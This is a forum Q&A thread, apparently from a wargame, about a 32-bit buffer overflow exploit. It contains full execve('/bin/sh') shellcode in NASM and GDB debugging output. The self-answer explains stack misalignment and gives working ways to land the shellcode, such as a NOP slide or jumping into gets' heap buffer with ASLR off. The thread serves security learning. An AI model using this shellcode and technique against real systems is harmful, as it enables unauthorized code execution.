Reputation: 1459
For a wargame, I'm exploiting a buffer overflow to inject some shellcode to spawn /bin/sh
. I started by writing my own shellcode, but I got some bizarre errors, so I tried a piece of known working shellcode – and got the same error! However, it gets weirder: running it locally (i.e. not on the wargame server) works fine (so I've verified the problem isn't with the code), and running it in GDB produces a different error.
When run normally:
$ ./program < /tmp/shellcode
[program output...]
zsh: segmentation fault ./program < /tmp/shellcode
When run in GDB:
(gdb) run < /tmp/shellcode
[program output...]
process 2242 is executing new program: /proc/2242/exe
/proc/2242/exe: No such file or directory.
The shellcode can be found here, or, in NASM Intel syntax:
BITS 32
; Set up "/bin/sh" string
xor eax, eax
push eax
push 0x68732F2F
push 0x6E69622F
; Set up execve arguments
mov ebx, esp
mov ecx, eax
mov edx, eax
mov al, 0xB ; execve's ID
int 0x80
; exit()
xor eax, eax
inc eax
int 0x80
I've confirmed in GDB that the code is inserted properly, that it's jumped to in the correct place, and even that execution reaches the int 0x80
that's supposed to spawn a shell – but as soon as you try to si
past it, it gives you the error above.
I've also confirmed at the point of the int 0x80
that the registers are, as far as I can tell, in order for an execve
call. Here are the inspected registers from my own shellcode (not from the shellcode above, which sets up ecx
and edx
to null pointers, but this produces the same error):
(gdb) x/i $pc
=> 0xffffdc47: int 0x80
eax 0xb 11
(gdb) # EBX should point to "/bin/sh"
(gdb) x/s $ebx
0xffffdc4e: "/bin/sh"
(gdb) # ECX should point to a null-terminated pointer array.
(gdb) x/2wx $ecx
0xffffdc31: 0xffffdc4e 0x00000000
(gdb) # EDX should point to NULL.
(gdb) x/wx $edx
0xffffdc35: 0x00000000
Why does this execve
syscall not work? And… what in the world could /proc/2242/exe
be? The string sent to execve
is "/bin/sh"
! Given that this works when run locally, could the issue somehow be with the server's environment?
Some considerations:
file
output: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=..., not stripped
/bin/sh
exists, so that's not the file that isn't being found.Upvotes: 1
Views: 737
Reputation: 1459
As it turns out, the segfault when running the program normally depends on a difference in GDB's environment! The stack state differs based on various things in the environment, which makes the code jump to the right place in GDB – but since I'm jumping to some shellcode on the stack, it's dependent on the current stack length and thus jumps to some invalid place when run normally. Why it works locally I can only guess, but I suppose my local environment simply lines up with that of GDB on the target machine.
I figured out three ways to fix this:
nop
slide would help.gets
has an internal buffer on the heap into which things go before they're copied (sans terminating newline) to their final destination. Since that's always in the same place (when ASLR is off), and since I'm injecting my shellcode via gets
, I could jump there. And that is indeed what I ended up doing!!
shell command of GDB. Despite (gdb) run < /tmp/shellcode
erroring out, and ./program < /tmp/shellcode
segfaulting, (gdb) !./program < /tmp/shellcode
works. This is because running that way ostensibly runs the program "normally" – in a shell – but with GDB's environment, thus ensuring that the stack state matches up.So what about the GDB error? The /proc/1234/exe: No such file or directory.
one? Well, here's the punchline: that error is unrelated, and happens even with a correct solution. As soon as the int 0x80
of an execve
syscall is reached, GDB produces that error (and for some reason forgets the program that's being run, as well). I have absolutely no idea why it happens – if anyone has a clue, please share.
Upvotes: 2